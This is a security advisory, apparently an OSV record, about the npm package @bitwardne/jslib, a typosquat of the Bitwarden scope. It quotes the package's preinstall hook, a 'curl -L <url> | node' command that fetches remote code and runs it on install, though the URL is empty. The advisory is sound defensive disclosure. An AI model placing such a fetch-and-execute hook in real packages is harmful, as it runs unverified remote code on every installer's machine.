Malicious code in @bitwardne/jslib (npm)

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d) Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L <url> | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.

Source published

8 Oct 2026 16:53:48 UTC

Source modified

8 Oct 2026 17:25:14 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.